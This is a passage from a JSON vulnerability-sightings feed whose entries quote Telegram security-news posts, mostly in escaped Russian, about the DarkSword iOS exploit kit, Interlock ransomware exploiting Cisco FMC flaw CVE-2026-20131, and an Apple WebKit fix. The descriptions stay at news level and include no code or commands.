\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0437\u0430 DarkSword, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u0432\u0441\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 UNC6353, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0445\u043e\u0440\u043e\u0448\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0443 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 LLM \u0434\u043b\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 DarkSword, \u0445\u043e\u0442\u044f \u0441\u0430\u043c\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0435 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 Lookout \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u0443\u044e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0431\u044b\u0441\u0442\u0440\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u0438 \u0437\u0430 \u0441\u0447\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u044f\u0437\u044b\u043a\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442-\u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0430 DarkSword, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a, iVerify \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f Safari \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0442\u0430\u043a\u0438 DarkSword \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Safari, \u0433\u0434\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e/\u0437\u0430\u043f\u0438\u0441\u0438 \u044f\u0434\u0440\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 (pe_main.js).\n\n\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0441\u0430\u0439\u0442\u044b, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u043e \u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 iframe-\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 HTML-\u043a\u043e\u0434 \u044d\u0442\u0438\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 JavaScript-\u0434\u0432\u0438\u0436\u043e\u043a \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b iOS, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a App Access, Wi-Fi, Springboard, Keychain \u0438 iCloud, \u0430 \u0437\u0430\u0442\u0435\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u0438 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 Lookout, \u0432 \u0447\u0438\u0441\u043b\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 DarkSword, \u0432\u0445\u043e\u0434\u044f\u0442: \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438, \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 WhatsApp \u0438 Telegram, \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438 (Coinbase, Binance, Ledger \u0438 \u0434\u0440.), SMS, \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u044b, \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0437\u0432\u043e\u043d\u043a\u043e\u0432, \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, cookies, Wi-Fi \u0438 \u043f\u0430\u0440\u043e\u043b\u0438, Apple Health, \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044c, \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b.\n\nDarkSword \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u043e\u0433\u0434\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0430\u044f \u0432\u044b\u0448\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043d\u0435 \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u0439\u043d\u0430\u0436\u0443.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c iPhone \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c iOS \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 26.3.1 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f), \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435, \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0436\u0438\u043c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438,\u00a0\u0435\u0441\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e.", "creation_timestamp": "2026-03-18T15:22:35.000000Z"}, {"uuid": "3303d1b2-398f-454b-88bc-43b32be034a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/true_secator/8011", "content": "\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Interlock \u0441 \u043a\u043e\u043d\u0446\u0430 \u044f\u043d\u0432\u0430\u0440\u044f \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 Cisco Secure Firewall Management Center (FMC) \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0438\u0438 0-day \u0430\u0442\u0430\u043a.\n\n\u0411\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Interlock\u00a0\u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u0440\u0438\u0441\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u0438 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430\u00a0\u0441 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439 ClickFix,\u00a0\u0430 \u0442\u0430\u043a\u0436\u0435 \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0441\u044f \u0442\u0440\u043e\u044f\u043d \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c NodeSnake\u00a0\u0432 \u0441\u0435\u0442\u044f\u0445 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u043e\u0432 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, Interlock \u043f\u0440\u043e\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430\u00a0DaVita, Kettering Health, \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0422\u0435\u0445\u0430\u0441\u0441\u043a\u043e\u0433\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0438\u00a0\u0441\u0435\u0442\u0438 \u0421\u0435\u043d\u0442-\u041f\u043e\u043b\u0430 (\u0448\u0442\u0430\u0442 \u041c\u0438\u043d\u043d\u0435\u0441\u043e\u0442\u0430, \u0421\u0428\u0410).\n\n\u041d\u0435\u0434\u0430\u0432\u043d\u043e\u00a0\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 IBM X-Force \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Interlock \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044e \u043d\u043e\u0432\u043e\u0433\u043e \u0448\u0442\u0430\u043c\u043c\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Slopoly, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0418\u0418.\n\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a Cisco, \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20131 \u0438 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 4 \u043c\u0430\u0440\u0442\u0430. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 Java \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u0435\u0437 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Amazon \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Interlock \u0431\u043e\u043b\u0435\u0435 \u043c\u0435\u0441\u044f\u0446\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Secure FMC \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438 \u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 26 \u044f\u043d\u0432\u0430\u0440\u044f 2026 \u0433\u043e\u0434\u0430.\n\n\u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0434\u043b\u044f Interlock \u044d\u0442\u043e \u0431\u044b\u043b\u0430 0-day, \u0447\u0442\u043e \u0434\u0430\u0432\u0430\u043b\u043e \u0438\u043c \u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0444\u043e\u0440\u0443 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0435\u0449\u0435 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\n\n4 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430 Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Cisco Secure Firewall Management Center, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0441\u0430\u043c\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Cisco \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0438\u0441\u044c Cisco AsyncOS (\u0441 \u043d\u043e\u044f\u0431\u0440\u044f 0-day \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432), Unified Communications (\u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445), Catalyst SD-WAN (\u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 \u043d\u043e\u043b\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438). \u0414\u043e\u0431\u0430\u0432\u0438\u043b\u0430\u0441\u044c Cisco Secure Firewall Management Center (FMC).", "creation_timestamp": "2026-03-19T12:58:46.000000Z"}, {"uuid": "a353f4da-de82-41de-89be-fc663317b072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/38947", "content": "Interlock Ransomware Exploits Cisco FMC Zero-Day CVE-2026-20131 for Root Access \u2013 thehackernews.com\n\nThu, 19 Mar 2026 00:00:00", "creation_timestamp": "2026-03-18T20:03:03.000000Z"}, {"uuid": "732a4549-6e5d-4108-a1e2-1c8a444a1c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/thehackernews/8617", "content": "\ud83d\udea8 Apple patched a WebKit flaw that lets crafted pages bypass browser isolation.\n\nCVE-2026-20643 impacts iOS, iPadOS, and macOS. Fixes now ship via background updates, outside full OS releases.\n\n\ud83d\udd17 Details here \u2192 https://thehackernews.com/2026/03/apple-fixes-webkit-vulnerability.html", "creation_timestamp": "2026-03-18T06:35:31.000000Z"}, {"uuid": "19375ceb-9657-4257-ab40-1f9fa547af4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/ctinow/247390", "content": "Interlock group exploiting the CISCO 